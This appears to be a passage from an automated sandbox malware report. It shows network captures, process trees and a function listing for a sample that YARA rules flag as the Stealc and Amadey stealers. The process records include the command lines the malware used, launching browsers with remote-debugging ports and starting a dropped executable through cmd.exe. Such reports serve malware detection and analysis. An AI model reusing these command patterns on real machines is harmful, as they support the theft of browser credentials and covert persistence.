2024-11-21 23:12:08 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.5	49934	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:12:08 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:12:08 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:12:08 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: c76163b7-601e-0070-0647-3ca0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231208Z-178bfbc474btvfdfhC1NYCa2en000000029g00000000313e x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 23:12:08 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.5	49935	40.126.53.18	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:12:08 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-21 23:12:08 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-21 23:12:09 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 21 Nov 2024 23:11:08 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C502_BL2 x-ms-request-id: fd0f3d72-67bc-4cfc-8aee-b32d5f3c910b PPServer: PPV: 30 H: BL02EPF0001D751 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 21 Nov 2024 23:12:08 GMT Connection: close Content-Length: 11389
2024-11-21 23:12:09 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.5	49936	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:12:08 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:12:09 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:12:09 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: b43d4aba-301e-0020-1845-3c6299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231209Z-174c587ffdfmlsmvhC1TEBvyks00000000s000000000fcpx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 23:12:09 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.5	49940	23.57.90.111	443	7180	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:12:09 UTC	506	OUT	GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-21 23:12:09 UTC	547	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Fri, 01 Nov 2024 15:43:48 GMT X-Source-Length: 822 X-Datacenter: eastus X-ActivityId: 8573cc25-f04b-4276-9d05-cb327393d12e Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 4096 Cache-Control: public, max-age=232350 Expires: Sun, 24 Nov 2024 15:44:39 GMT Date: Thu, 21 Nov 2024 23:12:09 GMT Connection: close
2024-11-21 23:12:09 UTC	4096	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.5	49939	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:12:09 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:12:09 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:12:09 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 07391f24-a01e-0032-508c-3a1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231209Z-178bfbc474btrnf9hC1NYCb80g000000026g00000000w6zz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 23:12:09 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Target ID:	1
Start time:	18:11:15
Start date:	21/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xa60000
File size:	1'774'080 bytes
MD5 hash:	E2FEF9DE68B89D7BB679918977C0F089
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000001.00000002.2697917488.0000000000A61000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000001.00000003.2185106449.0000000005410000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000001.00000002.2700544115.000000000161E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	18:11:27
Start date:	21/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	18:11:27
Start date:	21/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2208 --field-trial-handle=2180,i,2346990794852362482,14346715251733473473,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	18:11:38
Start date:	21/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	18:11:39
Start date:	21/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2388 --field-trial-handle=2152,i,10331360522470495270,3768999544705103513,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	18:11:39
Start date:	21/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	18:11:39
Start date:	21/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2400 --field-trial-handle=2348,i,8810042862309211089,17614865435975973735,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	18:11:43
Start date:	21/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6572 --field-trial-handle=2348,i,8810042862309211089,17614865435975973735,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	18:11:43
Start date:	21/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6796 --field-trial-handle=2348,i,8810042862309211089,17614865435975973735,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	18:12:06
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsJDAFIEHIEG.exe"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	18:12:06
Start date:	21/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	18:12:07
Start date:	21/11/2024
Path:	C:\Users\user\DocumentsJDAFIEHIEG.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsJDAFIEHIEG.exe"
Imagebase:	0x150000
File size:	1'854'976 bytes
MD5 hash:	A68BD83F0CEDD6B76CCA22D5853EC168
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000014.00000002.2725767457.0000000000151000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000014.00000003.2685133973.0000000005150000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 47%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	18:12:08
Start date:	21/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xef0000
File size:	1'854'976 bytes
MD5 hash:	A68BD83F0CEDD6B76CCA22D5853EC168
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000015.00000002.2747182858.0000000000EF1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000015.00000003.2705810582.00000000048E0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 47%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	18:12:39
Start date:	21/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7400 --field-trial-handle=2348,i,8810042862309211089,17614865435975973735,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	23
Start time:	18:13:00
Start date:	21/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xef0000
File size:	1'854'976 bytes
MD5 hash:	A68BD83F0CEDD6B76CCA22D5853EC168
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000017.00000002.3424426746.0000000000EF1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000017.00000003.3216298917.00000000049A0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	30.6%
Total number of Nodes:	108
Total number of Limit Nodes:	12

Executed Functions

Function 6C5035A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C58F688,00001000), ref: 6C5035D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C5035E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C5035FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C50363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C50369F
__aulldiv.LIBCMT ref: 6C5036E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C503773
EnterCriticalSection.KERNEL32(6C58F688), ref: 6C50377E
LeaveCriticalSection.KERNEL32(6C58F688), ref: 6C5037BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C5037C4
EnterCriticalSection.KERNEL32(6C58F688), ref: 6C5037CB
LeaveCriticalSection.KERNEL32(6C58F688), ref: 6C503801
__aulldiv.LIBCMT ref: 6C503883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C503902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C503918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C50394C

Strings

GenuntelineI, xrefs: 6C503639
AuthcAMDenti, xrefs: 6C503946
QPC, xrefs: 6C5038FC
MOZ_TIMESTAMP_MODE, xrefs: 6C5035DB
GTC, xrefs: 6C503912

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
